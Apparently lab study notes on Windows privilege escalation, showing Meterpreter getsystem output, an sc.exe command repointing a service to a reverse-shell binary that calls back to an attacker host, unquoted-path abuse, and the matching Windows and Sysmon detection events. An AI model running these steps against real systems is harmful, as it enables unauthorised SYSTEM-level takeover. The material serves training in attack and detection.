Privileges are the permissions of a specific account to perform system-related local operations. i.e. modifying the filesystem, adding users, shutting down the system, etc.
For these to be effective, Windows uses access tokens. These tokens are uniquely identified via a security identifier or SID. These are generated/maintained by the Local Security Authority.
From Windows Vista onward, processes run on four integrity levels, which align with various rights:
System integrity process: SYSTEM rights
High integrity process: administrative rights
Medium integrity process: standard user rights
Low integrity process: very restricted rights often used in processes
Using AccessChk from SysInternals to search for files or directories with Everyone having write permissions
User Account Control (UAC) is a Microsoft access control system introduced in Windows Vista and Windows Server 2008. The goal of UAC is that any application wishing to perform an operation with potentially system-wide impact, must inform the user and request approval to do so.
Bypassing UAC
Escalating to SYSTEM
Service Creation
Options for getsystem in Meterpreter
meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t <opt> The technique to use. (Default to '0').
0 : All techniques available
1 : Named Pipe Impersonation (In Memory/Admin)
2 : Named Pipe Impersonation (Dropper/Admin)
3 : Token Duplication (In Memory/Admin)
4 : Named Pipe Impersonation (RPCSS variant)
Successful elevation of privileges using getsystem
meterpreter > localtime
Local Date/Time: 2021-06-30 12:49:27.569 Eastern Daylight Time (UTC-500)
meterpreter > getsystem 1
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
Meterpreter now running with SYSTEM-level privileges
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
[192.168.51.10]: PS C:\tools\windows_privilege_escalation> Get-SecurityEvent $null "6/30/2021 12:49:00" "6/30/2021 12:50:00"
ProviderName: Microsoft-Windows-Security-Auditing
TimeCreated Id LevelDisplayName Message
----------- -- ---------------- -------
...
6/30/2021 12:49:32 PM 4697 Information A service was installed in the system....
New Service installed events use event ID 4697.
Details of New Windows Service event
[192.168.51.10]: PS C:\tools\windows_privilege_escalation> Get-SecurityEvent 4697 "6/30/2021 12:49:31" "6/30/2021 12:49:33" | Format-List
TimeCreated : 6/30/2021 12:49:32 PM
ProviderName : Microsoft-Windows-Security-Auditing
Id : 4697
Message : A service was installed in the system.
Subject:
Security ID: S-1-5-21-1241977418-156118851-1443169900-1001
Account Name: offsec
Account Domain: CLIENT01
Logon ID: 0xCD626
Service Information:
Service Name: hvaukz
Service File Name: cmd.exe /c echo hvaukz > \\.\pipe\hvaukz
Service Type: 0x10
Service Start Type: 3
Service Account: LocalSystem
Sysmon events generated
[192.168.51.10]: PS C:\tools\windows_privilege_escalation> Import-Module C:\Sysmon\Get-Sysmon.psm1
[192.168.51.10]: PS C:\tools\windows_privilege_escalation> Get-SysmonEvent $null "06/30/2021 12:49:31" "06/30/2021 12:50:00"
ProviderName: Microsoft-Windows-Sysmon
TimeCreated Id LevelDisplayName Message
----------- -- ---------------- -------
...
6/30/2021 12:49:32 PM 13 Information Registry value set:...
6/30/2021 12:49:32 PM 1 Information Process Create:...
6/30/2021 12:49:32 PM 13 Information Registry value set:...
6/30/2021 12:49:32 PM 13 Information Registry value set:...
When querying services with Service Control in PowerShell, we need to use the sc.exe filename and not just sc. The Set-Content cmdlet in PowerShell can be abbreviated with sc, and the PowerShell prompt prioritizes cmdlets over Windows commands.
Enumerating permissions of a service with accesschk64.exe
Modifying the service to point to a reverse shell instead
PS C:\tools\windows_privilege_escalation> C:\Windows\system32\sc.exe config Serviio binpath= 'C:\tools\windows_privilege_escalation\servshell_443.exe'
[SC] ChangeServiceConfig SUCCESS
PS C:\tools\windows_privilege_escalation> Get-Date
Thursday, July 1, 2021 10:42:42 AM
Starting the Serviio service
PS C:\tools\windows_privilege_escalation> net start serviio
The Serviio service is starting.
The Serviio service could not be started.
The service did not report an error.
More help is available by typing NET HELPMSG 3534.
This fails, however that is just because the binary does not behave like a service and thus the error can be ignored. Checking the meterpreter shell shows it ran just fine.
[*] https://192.168.51.50:443 handling request from 192.168.51.10;
(UUID: ia20jikd) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.51.50:443 ->
192.168.51.10:51100) at 2021-07-01 10:56:10 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
ProcessCreate event showing the modification to the service
[192.168.51.10]: PS C:\tools\windows_privilege_escalation> Get-SysmonEvent $null "7/1/2021 10:56:00" "7/1/2021 10:56:20"
ProviderName: Microsoft-Windows-Sysmon
TimeCreated Id LevelDisplayName Message
----------- -- ---------------- -------
...
7/1/2021 10:56:10 AM 1 Information Process Create:...
7/1/2021 10:56:10 AM 1 Information Process Create:...
7/1/2021 10:56:10 AM 1 Information Process Create:...
Chain of ProcessCreate events after starting the service
Unquoted service paths can allow an attacker to place an executable file along the path to be executed.
Example: A service binary is stored in a path such as C:\Program Files\My Program\My Service\service.exe. If this is unquoted then Windows will attempt to execute a binary from the following paths:
FodHelper is just one method of bypassing UAC for elevated privileges. The project details other Windows-based privilege escalation techniques including bypasses for UAC. The MITRE website also details various UAC bypass techniques used by .
